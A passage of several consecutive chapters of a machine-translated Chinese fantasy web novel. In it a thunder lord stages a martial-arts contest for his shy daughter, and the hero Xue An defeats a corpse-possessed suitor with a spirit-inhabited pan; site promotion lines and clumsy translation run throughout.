    Lei Zun itself is a special kind of monster, because it inherits the thunder energy of heaven and earth, it is extremely difficult to give birth.


    In this case, Lei was different but had a descendant of his own blood, Lei Qian.


    One can imagine how much he should love his daughter.


    The fact is indeed the case. The previous Lei did spoil his daughter in the sky, asking the stars not to give them to the moon.


    But Lei Qian''s character is extremely weak, and he has not inherited his father''s hot temper at all.


    Even if the door doesn''t go out, he looks like a daughter.


    If this were the only thing, although Lei was quite disappointed with his daughter''s character, it would not have developed to the point of contesting and recruiting relatives.


    The key is that Lei Qiang went out to play by accident some time ago, and when he came back, he seemed to be a different person. He sat there all day long, not thinking about the gods and not guarding the house, and still murmured about going to see someone!


    This made Lei different a vigilant heart. After a closer investigation, he discovered that his precious daughter Lei Qian met a young man in the city of Jidu that day. The two talked happily.


    If you only found out that his daughter met a teenager, Lei wouldn''t be too angry.


    But after he finished investigating, he was about to come to meet this kid, but the guy actually heard the wind and escaped.


    This time Lei is different can be described as furious.


    how?


    Can you still eat people?


    And if you are so afraid of yourself, it must be a ghost in your heart!


    Otherwise, as long as a man is not going to run away.


    But even though he thought so, Lei Qian didn''t think so.


    This weak-tempered girl thought that her father had scared the boy away, so she became even more depressed, who was autistic.


    This scared Lei different. After thinking hard, he had an idea, and then he came up with the method of martial arts competition. UU reading www.uukANAshu. com


    In his words, anyway, his daughter has reached the age of liking people, and she was blinded by the fact that she was able to see that boy before because she had too little knowledge!


    It just so happens that this one hundred conference will be held soon and the world''s heroes will gather.


    If you find someone who is pleasing to the eye in this martial arts contest, wouldn''t you forget the kid before?


    This idea can be described as full of naked, straight male thinking.


    But if you think so, then do it.


    Lei, who is acting vigorously and resolutely, is different, he immediately began to prepare, and only then has the tall competition arena that people see now.


    Xue An and Yue Qinghuan were mixed in the crowd. After hearing the whole story, they couldn''t help but smile at them.


    "If I were this Lei ��, I would probably hate my father to death. Why would I be a martial artist, do I really think I am in a novel?" Yue Qing laughed.


    Xue An also smiled, and then said quietly: "That may be true, maybe you and I are really in the novel!"


    Yue Qinghuan curled his lips, thinking that Xue An was pure nonsense.


    "Talking nonsense all day, if it''s really in the novel, who is the protagonist?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2481 Fighting for Martial Arts?), and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2482： Its better to strike people with pink thunder...

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Xue An raised his hand and pointed to his nose, "Of course it is me!"


    "Cut, narcissism!" Yue Qinghuan took a sip, and then smiled himself.


    Now the relationship between her and Xue An is the same as that of friends for many years, and they can sneer at each other unscrupulously.


    And Yue Qinghuan seemed to be happy with this approach.


    Xue An smiled, then turned to look at the tall martial arts arena.


    "Since you have caught up with the excitement, let''s take a look. Fortunately, here is not too far away from the Lunar Star Territory!"


    Naturally, Yue Qinghuan had nothing to do. In fact, at this moment, she was also a little curious about what the father and daughter thought.


    And at the same moment, in the tall building behind the ring, Lei Yan opened the curtains and glanced at the outside scenery with a wink, then his face turned pale.


    "This... so many people!"


    Lei was quite proud, "Of course, my dear daughter wants to compete in martial arts, and it will naturally attract the world''s heroes to participate!"


    "But... But I''m a little scared, or don''t make this ring!" Lei Qiang lowered his head and pinched the corner of his clothes, and whispered.


    Lei frowned, "Why don''t you play this ring? Could it be that you still miss that kid?"


    "No...not what you think!" Lei Qian raised his head and said anxiously.


    "Isn''t this what it looks like?" Lei was a little annoyed. "The kid ran away after he finished teasing, but has thought about your feelings, are you still speaking for him?"


    "No!" Lei Qiang shook his head, and said very solemnly: "Young Master Yang must be in a hurry and left. He is definitely not the kind of person your father said!"


    Looking at the serious-looking daughter, Lei was a little bit angry and a little funny.


    It was so angry that until this time, the daughter still spoke for the kid.


    She laughed so much that her daughter never refuted her since she was a child, but now she dare to talk to herself with a serious face.


    But he still concealed all the thoughts in his heart, and said solemnly: "You are not allowed to mention that kid again. Now my father has prepared you for this martial arts contest and recruiting relatives, and it is just to hone your temperament!"


    "But... but I still dare not do what?" Lei Qiang''s tears almost came down.


    "What''s so good about? If you see who is not pleasing to your eyes, you can hit him and it''s over. My daughter, who is different from Lei, naturally can''t be bullied!"


    "But... but I am a girl, so I use lightning at every turn. Will it seem too violent?" Lei Qiang said cautiously.


    Lei different frowned, "Really, let me think about it!"


    He said that Lei was different, and then he paced back and forth in the room. After a while, he suddenly thought of something, and then stood there and said with excitement.


    "Daughter, I thought for my father, whoever dares to provoke you in the future, you will strike him with a pink thunder, so that it looks cute and can teach others, it is perfect!"


    Lei Qiang''s mouth gradually widened, and the expression on his face changed to this. "O((�ѩn��))o."


    With a thunderbolt, this martial arts contest finally officially began.


    At this moment, the audience is full of audiences, and people are still coming here.


    It can be said that the entire Jidu star field has been alarmed.


    In this situation, Lei Qiang came to the stage tremblingly.


    This seemed to have exhausted all the courage of this weak girl, and even when she stood on the stage, both legs were trembling slightly.


    However, after seeing her true face, there was still an uproar in the audience.


    Without him!


    It is really this Lei Qiang who looks too unexpected.


    Although many people in the capital city have seen this city lord daughter, there are still many people who have never seen it.


    The reason why these four words are unexpected to describe her appearance is because she is different from the daughter of Lei Zun that many people imagine.


    The Lei �� in front of him is only about 1.5 meters tall, and with the dazed face in that delicate face, it is enough to make people cute.


    Many people began to commotion.


    "This... is this the daughter of Lei Zun?"


    "Hi, so cute!"


    "Wow, Kawaii!"


    All kinds of shouts one after another, coupled with the malicious gazes of some men, made the Lei Qiang on the stage as if sitting on pins and needles, and then looked towards the backstage with help-seeking gazes.


    But at this time, Lei was standing in front of the window with a smile, and nodded to Lei Qian as if he was saying something.


    Lei Qiang was taken aback, then turned his head and looked around.


    At the same time, there was a bright light among the crowd in the audience rushing up, and after falling on the ring, he was a middle-aged man over forty years old.


    This man was not good looking, especially when he saw Lei Qiang, the greedy color in his eyes was almost overflowing, then he rubbed his palms and smiled without saying a word.


    "Hehehehehe, Miss Lei, I am Lu Dafa, the master of Dafeng Village in West Qingshan..."


    Before he could finish his words, another radiant light fell on the stage. After he showed his figure, he was suddenly a pink teenager with a folding fan.


    As soon as this young man came out, he surrendered to Lei Qiang very coquettishly.


    "Xiaosheng Linshan, I have seen Miss Lei!"


    The middle-aged man before seeing this couldn''t help frowning, "Wu Na boy, do you know what comes first, come first?"


    "Oh? What does it mean to come first, come first? This ring isn''t yours. I come as I want. Can you manage it?" Lin Shan did not show any weakness.


    "But since I came first, then this little lady is mine, you..."


    Before the words were finished, a pink thunder and lightning fell straight down, slamming on Lu Dafa''s Tianling cover.


    Amid the sizzling electric current, the middle-aged man didn''t even hum plopped and fell to the ground, and then curled up with smoke all over his body.


    The audience was solemn.


    Only this Lei Qiang patted his chest in horror, "Ok... so terrible! Is he dead?"


    As he said, another thunder beam fell, causing Lu Dafa''s body to tremble again.


    The eyelids of the audience also throbbed.


    Lei in the tall building behind saw it but smiled with his beard. In fact, if it weren''t for his identity, he really wished he could laugh now.


    Is this right!


    This is my different daughter from Lei!


    At the same time, this Lei Qiang raised his head and said to the ashen-faced forest mountain: "You...what did you just say?"


    Lin Shan trembled all over, and then forced a smile: "Ah... ah, it''s nothing, I just wanted to come up to see the scenery, and now I have something urgent to deal with, Miss Lei, goodbye!"


    After that, Lin Shan turned around and fled.


    There was a burst of laughter in the audience.


    Yue Qinghuan couldn''t help but laughed, and then approached Xue An and said mysteriously.


    "How? Are you interested in going up? This girl is a legitimate loli!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this reading (Chapter 2482 is cute with a pink lightning striker), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2483： Dog skin plaster

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Xue An couldn''t help laughing, "Don''t make trouble, I have a wife!"


    Yue Qinghuan''s eyes drifted, and Yan Ran smiled: "Of course I know you have a wife!"


    Speaking of this, she paused, and then her eyes were red, and she said in tears: "But why do you want to tease me when you have a wife? So that I have a deep love for you and can''t get rid of it, don''t you think so Is it cruel?"


    As soon as he said this, the eyes of the people around him instantly became weird.


    You must know that before that, because of Yue Qinghuan''s outstanding appearance and cool temperament, he had already attracted a lot of sneaking eyes.


    After listening to her words, these people couldn''t help glaring at Xue An, their eyes full of contempt.


    Especially some women looked at Xue An with the same eyes as those of a scumbag.


    Xue An: "..."


    Then he lowered his voice and said, "Hey, what do you want to do?"


    The sadness on Yue Qinghuan''s face became more vigorous, and she trembled: "Don''t... don''t hit me, I was wrong, I will never dare anymore!"


    Talking about it, she moved back, as if she was really afraid that Xue An would beat her.


    At this time, the surrounding people were even more filled with righteous indignation. There were some youths with a sense of justice who looked bad and wanted to come forward to teach Xue An.


    Upon seeing this, Xue An squeezed out a few words from his teeth, "You are cruel, but I won''t play anymore!"


    With that, he turned around and walked out.


    Now Yue Qinghuan was a little panicked, she was just teasing Xue An out of a playful mentality, but she didn''t expect Xue An not to take her move at all, and instead left her here.


    At this moment, several teenagers had come close and said aggressively.


    "Don''t be afraid of this girl, we will clean up this scumbag for you!"


    "Yes, why do you need to follow such a scumbag with your appearance, we will clean him up for you!"


    While saying this, several teenagers straightened their chests, trying to prove that they are also good.


    But I never expected that all of their thoughts would be useless.


    I saw that Yue Qinghuan didn''t even look at them right away, and hurriedly followed up, and followed Xue An step by step, seeming to apologize to him.


    Seeing this scene, these teenagers who had planned to "save the beauty with heroes" were all dumbfounded, and then when you look at me, I look at you, their faces are full of unconcealable disappointment.


    And when there was chaos in the audience, there were new changes in this martial arts contest.


    Just heard a burst of laughter suddenly coming from the sky in the distance.


    "It''s a martial arts contest, so how can this kind of excitement make me less?"


    With the voice, I saw a bright light flying by, and after falling on the stage, he was a handsome and beautiful boy.


    As soon as this young man appeared, there was a commotion in the audience.


    Because many people recognized this boy.


    "It''s Cui Zhenghao, Young Master Cui! He really came!"


    "I knew he had to come, it''s really lively now!"


    The visitor is no one else, but the youngest son of the Cui family, the leading family in the capital city, Cui Zhenghao.


    Although Lei is not the master of the Jidu Star Territory, he has the supreme status and control in the Jidu City, but someone has to manage the huge territory.


    Therefore, Jiducheng gradually formed several big families, among which the Cui family was the head.


    Even though this Cui family is not even the root hair compared to the real heroes in the Yin Yang family.


    But it''s pretty good in this remote computing star field.


    Even if Ray is different, they have to give them three points of face.


    But Cui Zhenghao is most famous not because of his family background, but because of his crazy infatuation and pursuit of Lei Qiang, the daughter of the Lei family.


    I don''t know when it started, it may be an encounter, or it may be a glimpse, anyway, since last year, Cui Zhenghao has launched a crazy pursuit of Lei Qiang.


    The reason why I use the word madness to describe it is because Cui Zhenghao''s pursuit methods have reached the point where he can do everything.


    For three months in a row, he appeared every day to sit in front of Lei''s mansion just to wait for Lei Qiang to come out.


    And this has also become a unique landscape in the city of Jidu. Many idle idlers simply opened the handicap to bet whether the young Cui family could hold the beauty.


    But until now, the odds of this handicap are still negative.


    Because no matter what Cui Zhenghao pursues, this Lei �� is unmoved, and even stays away from him.


    And she has stated more than once that it is impossible between the two of them.


    But Cui Zhenghao didn''t know where he was pouring the poisonous chicken soup. He actually thought that this was Lei Qiang''s test of himself. As long as he was sincere, he would definitely be able to impress the Lei girl, so the more frustrated he became.


    Therefore, he certainly couldn''t be absent from this competition.


    From the very beginning, he was hiding in the distance and observing the situation on the ring.


    Cui Zhenghao was not surprised and rejoiced when he saw Lei Qian directly hacking to death a guy who spoke bad words.


    "Good! Good means! Although Miss Lei looks weak on the outside, she is extremely decisive and courageous. Only such a woman is qualified to be my wife!"


    Cui Zhenghao sighed a few times, and then could no longer contain the excitement in his heart, laughed out of the stage, and came to the top of the ring.


    When he saw him, Lei Qiang couldn''t help but step back a few steps, his face was full of alert and jealousy.


    Without him.


    This Cui Zhenghao is really too clingy, just like a dog skin plaster, he can''t get rid of it.


    So Lei Qiang was already a little scared when he saw him.


    But her actions fell into Cui Zhenghao''s eyes but they all turned into shyness.


    I saw him smile rather narcissistically, and said in a soft, watery voice.


    "Miss Lei, UU reading has been 21 days and six hours since the last meeting. Do you know how much I miss you in such a long time? If there is a sea in front of me, My thoughts will be deeper than that of the sea..."


    This extremely numbing love made everyone in the audience shudder, and then got goose bumps all over her body.


    Lei Qiang was even more unlovable, because she knew this was just the beginning.


    really.


    I saw this Cui Zhenghao reciting the poems he wrote emotionally as he spoke.


    "Ah! Dear Miss Lei, I miss you as long as the sky..."


    The audience Yue Qing laughed so much that he almost couldn''t straighten up, "Today this ring is really interesting! What do you think?"


    Speaking, she turned her head to look at Xue An, but saw Xue An looking at the stage with a serious face, as if watching something.


    Ok?


    Is there a situation?


    Yue Qinghuan hurriedly suppressed his smile and carefully looked up on the ring.


    But after watching for a while, she didn''t notice anything unusual, she couldn''t help but asked in a low voice with a stunned expression.


    "What''s wrong? Did you find something?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2483 Dogskin Plaster), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2484： Have you ever been married?

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Xue An didn''t turn his head back, just nodded, "Well, it''s a bit weird!"


    At this moment, I don''t know who threw a broken brick in the audience, which directly interrupted Cui Zhenghao''s passionate recital.


    "Enough, I almost vomit when I hear it. If you want to hit it, hit it, and get out if you don''t!" someone shouted.


    "That''s right, this is a martial arts contest, not a poetry contest!"


    "Damn, my teeth are so sore!"


    Cui Zhenghao finally woke up from his narcissism in the shouts one after another, and then smiled at Lei Qiang.


    "Miss Lei, I don''t think this fight is necessary anymore. You can just admit defeat, and then we will prepare to get married. At this time next year, you will give birth to me a big fat boy. Isn''t it perfect?"


    Lei Qiang''s face was red and his ears were red, and he held back for a long time before spitting out two words, "Shameless!"


    After finishing speaking, I felt uncomfortable, and then added two more words.


    "Arrogant!"


    Lei Qiang has something to say so.


    Although this Cui Zhenghao is known as a rising star among the younger generation of Jiducheng, in fact, his strength is very ordinary.


    Sometimes Lei Qiang was really annoyed by this person, and he would be punished slightly.


    Often a small thunder and lightning can keep him safe for several days.


    Therefore, when he heard that Cui Zhenghao was so arrogant, Lei Qiang''s heart couldn''t help being full of anger.


    "Hehe, it seems that Miss Lei still doesn''t quite believe it! If that''s the case, I will convince you to lose as a husband today!"


    With that said, Cui Zhenghao leaped on his toes and rushed towards Lei Qiang directly.


    This type of flutter can be said to be aggressive, which is very good in the eyes of ordinary people, but it is commonplace in the eyes of insiders.


    At least Yue Qinghuan curled his lips, "Do you dare to yell at this strength? I really don''t know how to live or die!"


    really.


    When he saw Cui Zhenghao rushing towards him, Lei Qiang''s eyes flashed with a cold color, and then he raised his hand.


    Click!


    A bolt of thunder fell straight down, banging on Cui Zhenghao''s body.


    This move is just right in terms of timing and strength.


    But Cui Zhenghao didn''t even hide, instead he laughed wildly, "Good job!"


    Following the voice, a black light suddenly appeared on his back, just blocking the falling thunder.


    As soon as he touched, the light of thunder disappeared silently.


    Seeing this scene, although others still don''t know why, Yue Qinghuan was already aware of something, and couldn''t help but change his face.


    "Evil?"


    Xue An nodded and whispered: "Yes, it''s evil!"


    "But it shouldn''t be, I didn''t feel anything strange about this guy just now!" Yue Qinghuan was surprised.


    Lei Qiang was the one who was more shocked than her.


    She didn''t expect that Cui Zhenghao could withstand her own lightning strikes with this method, so she couldn''t help but panic.


    At the same time, this Cui Zhenghao had already jumped forward, reaching out to grab Lei Qiang''s skirt.


    At this moment, countless thunder lights suddenly appeared around Lei Qiang''s body, protecting her like a wall.


    And Cui Zhenghao''s body was hit by countless lightning rays, and was submerged in a ray of light.


    The audience exclaimed.


    "Master Cui is dead now!"


    "Tsk tusk, it''s a seed of infatuation, but it''s a pity that the girl is not interested in him at all!"


    But just when everyone thought he was bound to die, only a burst of wild laughter came from the thunder light.


    "My wife is really amazing, isn''t this just a humanoid self-propelled generator!"


    Following the voice, I saw a figure rushing out of the thunder light and pounced on the thunder again.


    It is Choi Zhenghao.


    It''s just that Cui Zhenghao at this moment has completely changed his appearance.


    The clothes on his body had been blasted by lightning, revealing the scorched skin underneath.


    But in this case, Cui Zhenghao''s body swelled a lot.


    And although he was smiling, there was a faint green light in his eyes.


    It''s like...a dead body.


    Seeing this scene, the audience exclaimed.


    "What kind of evil technique is this?"


    "I don''t know! Haven''t heard that the Cui family has this ability?"


    Amidst the discussion, Lei Qiang also paled, and then he closed his eyes in a panic and waved his fingers repeatedly.


    Boom boom boom!


    Many Thunders fell again and hit this Cui Zhenghao''s body.


    But at this moment, Cui Zhenghao completely regarded these lightning strikes as nothing, and just as if he had some obsession, he continued to pounce on Lei Qiang unyieldingly.


    Lei Qiang screamed.


    Lei, who was watching the battle among the tall buildings behind, frowned when he saw it, and then coldly snorted: "Who is the enchanting evildoer, dare to be presumptuous among my dignified Lei Zun!"


    With that said, he stepped out one step at a time and wanted to rush to the ring to rescue his baby girl.


    At this moment, a figure suddenly appeared in front of Cui Zhenghao.


    A young man in white clothes stood in front of him and said in an icy tone: "You are already dead, why are you still obsessed with it?"


    As soon as this sentence came out, Cui Zhenghao''s green eyes showed a dazed color, but even if Xuan disappeared, he roared.


    "Go away, I want Miss Lei!"


    As he said, he furiously raised his palm and patted Xue An in front of him.


    But just halfway through his palm, Xue An turned his wrist and suddenly a strange weapon appeared in his hand.


    Flatten the long pan, it is the pan.


    Then Xue An lightly waved, a roar came from the pan.


    "I''m **** obedient, what kind of thing is this!"


    when!


    After a loud noise, the pan came into close contact with Cui Zhenghao''s head, and then Cui Zhenghao was blown out.


    Not only that, but thunder light kept flashing over his body when he was in the air.


    "what!"


    Lei in the tall building couldn''t help but stopped when he saw it, and then looked at Xue An and the pan in his hand with great interest.


    "Interesting, it is actually a Lei Zun Unfortunately, the strength is a bit weak! And it has become a tool spirit, which is really a shame to the Lei Zun world!" Lei muttered to himself in a different mouth.


    At the same time, this Lei Qiang was also a little dumbfounded, standing behind Xue An and asked timidly.


    "Little...Brother, what is going on?"


    As soon as this sentence came out, before Xue An could speak, a cry of surprise came from the pan in his hand.


    "Fuck, what did I find? A Lei Zun, and still a rare woman?"


    Following the voice, a faint figure appeared on the pan, and a man nodded towards Lei Qiang with a smile on his face.


    "This girl, I am Lei Zun of Rank Nine, the tool of the pan, but I don''t know where the girl''s surname is, where is the fairyland, have you ever been married?"


    Lei Qiang opened his eyes wide, looked at this Lei Zun in disbelief, and suddenly said, "God, is there such a weak Lei Zun in the world?"


    The smile on this man''s face instantly solidified.


    And at this moment, Xue An held the pan with both hands, and said lightly: "If you want to tease the girl, please wait a while and then tease, now clean up the guy on the opposite side!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 2484 was married or not?) to read the record, next time you open the bookshelf to see!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2485： Die a long time ago

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    If left in the past, this pan Lei Zun will definitely shirk in every possible way and try all kinds of ways to polish his foreign work.


    In An Yan''s words, I really don''t know how this greedy and fearful guy became Lei Zun.


    Whenever there is a fight, he will yell, as if he is about to finish playing.


    But this time he was uncharacteristically, behaving extremely positively.


    "Good lord, don''t worry, this kid will be handed over to me!"


    With that said, this Lei Zun didn''t need Xue An to use his hands. He controlled the pan and flew straight out of Xue An''s hands. It was another blow in the light of Cui Zhenghao who had just staggered up from the ground.


    boom!


    The thunder light was washed away, and there was an extremely bright and majestic law of righteousness in it, which made this Cui Zhenghao scream more and more, and the black energy all over his body kept escaping outside.


    Seeing this scene, Lei''s eyes flashed differently, and then he took a deep look at Xue An, who was standing aside.


    This boy is obviously extraordinary!


    At the same time, Lei Zun screamed with excitement accompanied by this pan.


    "Die to the Lord!"


    A thunder light slammed straight down, hitting Cui Zhenghao''s forehead.


    Suddenly, I heard a faint howl of pain in Cui Zhenghao''s body, and then black energy rushed out of his facial features.


    After a while, the black air dissipated, and looking at Cui Zhenghao, the flesh and blood all over his body seemed to be drained. He was extremely thin and exuding a strong smell. After a plop, he fell to the ground and turned into a dead body.


    This bizarre scene made everyone on and off the stage horrified.


    And there was a cry of sorrow from the background.


    "My son, Zhenghao!"


    After speaking, I saw several Guanghua flying above the ring. It was Cui Xinyuan, the Patriarch of the Cui family, and several elders.


    When Cui Xinyuan saw the dead body on the ground, tears burst into tears.


    Because this is his only son, but he did not expect to die on this ring, and died so miserably.


    So he quickly glared at Xue An, gritted his teeth and said: "Boy, although this is an arena, your action is too harsh, why do you want to kill my son Zhenghao?"


    In the face of this aggressive questioning, Xue An''s expression was indifferent, without the slightest panic, but rather coldly.


    "You are wrong, I didn''t kill your son!"


    "Dare to quibble? Just now you obviously manipulated the magic weapon in your hand to kill my son. Everyone has seen it. How dare you not admit it?"


    Cui Xinyuan roared furiously, his face full of hideous expressions.


    The elders behind him also separated, faintly forming a tendency to outflank Xue An.


    Xue An didn''t even look at this, but just smiled coldly.


    "Killing is killing, not killing is not killing, do I have to hide anything from you?"


    "You..." Cui Xinyuan was furious, and wanted to avenge his precious son.


    But at this moment, only a majestic voice came from the tall building behind.


    "He''s right, he really didn''t kill your son!"


    Following the voice, a figure appeared on the ring, with a majestic face, and a faint thunder light all over the body, which made people dare not look directly at it. It was the master of Jidu Star Territory that was different.


    After seeing him, this Cui Xinyuan immediately wilted down like a frosted eggplant, and then bowed respectfully.


    "See... Seen City Lord Lei!"


    Lei different but just glanced at him, and then coldly said.


    "Your son, an evil demon, has been dead for a long time. The one who died on the stage now is just a walking dead!"


    what?


    As soon as this remark came out, the audience was terrified.


    Many people whispered and talked.


    "Evil in the body? Is this true?"


    "No wonder I used to see this Cui Zhenghao always feel a little weird!"


    Cui Xinyuan''s expression changed drastically, and he lost his voice: "No...It''s impossible, how can my son Zhenghao..."


    Lei''s different complexion instantly darkened, "What? Are you questioning what I said?"


    Cui Xinyuan''s face turned pale, and he hurriedly bowed his head and said in a low voice: "Humble...I dare not humble!"


    "Humph!" Lei snorted coldly.


    For him, these so-called giants are just a dog who manages the territory for him.


    Would you explain to the dog?


    Even the remark just now came out because Lei didn''t want to make this matchup too ugly because he looked at his daughter''s face.


    So at this moment, he waved his hand impatiently, "Hurry up and take your son''s corpse!"


    "Yes!" Cui Xinyuan trembled and nodded in response.


    But no one noticed that in his deeply buried eyes, a sharp expression flashed by.


    But soon he concealed these strange colors deeply, and then fled with the body of his son Cui Zhenghao.


    In an instant, peace was restored on the ring.


    Lei was different but did not leave. Instead, he looked at Xue An with great interest, especially showing a keen interest in the pan in his hand.


    "Young man, can you show me this weapon in your hand?"


    Xue An didn''t hesitate, and threw the pan over.


    Lei didn''t hold it in his hand and looked at it carefully for a moment, then he couldn''t help reaching out and touching it lightly.


    There was a slight tremor in the pan, but there was no sound inside.


    In fact, Lei Zun hastily ran into the pan and hid since the thunder did not come on stage.


    Without him!


    The level difference is so big that this Lei Zun doesn''t even have the courage to face Lei directly.


    After stroking it lightly for a while, Lei could not help but nodded, and then said in an admiring tone.


    "A good method, actually seal the Taoist lightning array on the surface of the weapon, and bless the Lei Zun in it, so that the thunder light emitted will have a stronger power to kill demons!"


    "Except for the Lei Zun inside this weapon is too weak, UU reading is simply impeccable!"


    Lei different admired him, then raised his head to look at Xue An.


    "Young man, are you interested in talking to me behind?"


    Xue An stared at the big figure in charge of the entire Metropolitan Star Territory and nodded slightly.


    "well!"


    This Lei was very excited. With a wave of his hand, a few thunder lights wrapped Xue An and his daughter.


    After the thunder light dissipated, the ring was empty, where there was half a figure.


    There was a violent commotion in the audience.


    "Why did you leave like this?"


    "Who knows, could it be that this martial arts contest is over?"


    "Who is that boy?"


    In the discussion, Yue Qinghuan was also a little confused.


    what is this?


    Why did you suddenly disappear after hitting someone?


    Could it be that Xue An was really attracted by the master of planning and decided to choose him as the son-in-law of the dragon?


    And that was when Yue Qinghuan was in doubt, in the tall building behind the ring, Lei looked at Xue An and said something shocking.


    "If I didn''t guess wrong, you are not such a stranger!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click the "Favorites" below to record the reading record of this time (Chapter 2485 Died Early), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2486： The child pays homage to the foster father

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Xue An did not deny either, but raised his eyebrows slightly, "Oh? Why do you say that?"


    Lei was different and smiled, "It''s very simple, because this Lei Zun in your hand!"


    "As the strongest Thunder Element in this outer sky, I can say that I am familiar with all the formation methods of Thunder Venerable in this world! Only this Thunder Venerable in your hand..."


    Lei did not pause for a while, and then went on to say: "No matter in terms of temperament or strength composition, it is completely different from Lei Zun in this world, so I will ask you that!"


    Xue An was noncommittal, "That''s it?"


    Lei different seemed to have known Xue Anhui''s reaction a long time ago, so he chuckled and said the second sentence that was shockingly shocking.


    "And if I guessed correctly, you should come from the Chinese among the heavens!"


    If Xue An can deal with the previous problem calmly, then the current problem has caused Xue An''s pupils to shrink instantly.


    And his reaction also made Lei different confirm his guess, and then smiled.


    "Don''t be surprised. Although the magic circle on this pan is Taoist, it is obviously different from the Taoist in this world. On the contrary, it is very similar to something I had accidentally obtained back then!"


    With that said, Lei didn''t let it go, and there was a tortoiseshell fragment in his palm.


    "This thing was obtained by accident in the past. It is said to come from Taoism. It is specially used to record various secrets. Of course, there are also things about the heavens and the Chinese people on earth."


    Xue An''s expression gradually calmed down, and then took a deep look at the difference between Lei.


    In fact, when watching the battle under the ring, Xue An already faintly felt that there was a peerless strongman in the tall building behind the ring.


    After seeing Lei''s difference, he finally confirmed his guess.


    The Lei Zun in the form of thunder in front of him possessed unfathomable and profound strength, and even oneself couldn''t see his details clearly.


    So Xue An knows very well that if the two of them do something, the outcome is only between the two.


    Even if his winning percentage is higher, it is a miserable victory.


    Of course, this is just a speculation of Xue An.


    He knew very well that this difference had proved his sincerity since he was willing to bring himself here and tell him this frankly.


    As for what he can know...


    For an existence that has spanned tens of thousands of years, it is not strange to know some secrets.


    Therefore, Xue An quickly adjusted his mentality and said in a deep voice: "Yes, I am the Chinese from the heavens, my name is Xue An!"


    "Sure enough!" Lei sighed differently. "Recently, the whole Tianwaitian has been stirred up, and even the one who defeated the two major sword repairmen of the Shen family is you!"


    Lei Qiang on the side listened blankly.


    What do you mean?


    What is Chinese?


    And why did the father take this young man into the tall buildings?


    Could it be...


    Lei Qiang suddenly thought of something, his face flushed involuntarily, but Xuan even thought of it very seriously.


    No, I can''t betray Young Master Yang!


    With this thought, her expression gradually became serious, and she was a little further away from Xue An.


    Just as she was thinking about it, Lei different said again: "Have you already seen the strangeness of Cui Zhenghao?"


    Xue An nodded, "As soon as he took the stage, I saw something strange! But I didn''t expect it to be so serious. It wasn''t until he started with Ling Qianjin that I suddenly realized that it was evil!"


    Lei didn''t sneer, "Yes, evil spirits are in your body! And he also hit my daughter with the idea, these evil things are really looking for death!"


    With his status and status, he naturally knows the existence of evil things.


    But Xue An shook his head, "It is probably not what you think, these evil things will not do such a thankless thing!"


    "Oh? What do you say?"


    "In my opinion, this Cui Zhenghao has obviously been dead for a while, and the evil demon who entered the body is not a high IQ evil thing, but more like a obsession!"


    "From this, I infer that this Cui Zhenghao should have died suddenly for some reason, and before he died, he was obsessed with Ling Qianjin and had a deep obsession. This caused the evil spirits to take advantage of the void and take control of his body!"


    Xue An''s inference was justified and well-founded, and Lei couldn''t help but nodded after pondering for a while.


    "Listening to you, it is indeed possible, but doesn''t it mean that the Cui family already knew about Cui Zhenghao?"


    "It should be known. After all, Cui Zhenghao is dead, and now he is controlled by a demon born of perseverance. People close to him will definitely be able to see the flaws!"


    Lei''s different complexion became colder and colder, and angrily said: "Asshole! Knowing that his son is dead, but still indulging him to behave nonsense, even provoking my daughter. It seems that I was too tolerant of these wealthy families before, and even Let them have forgotten the awe!"


    Xue An did not speak.


    These are all internal affairs of Jidu Star Territory, and have nothing to do with him.


    After a while, I saw Lei different raising his head and arching his hand at Xue An.


    "The little gentleman''s eyes are like a torch, it is a reminder to the deity, I don''t owe you this kindness!"


    As he said, Lei didn''t raise his hand, and the pan in Xue An''s hand flew into his hand.


    Then Lei said softly, "Come out!"


    With an order, the Lei Zun who was hiding in the pan shivering screamed, and then he was dragged out of it abruptly.


    "This strength is simply too weak!"


    Lei looked at this Lei Zun, shook his head, and then pressed a finger on its forehead.


    Zi Zi Zi!


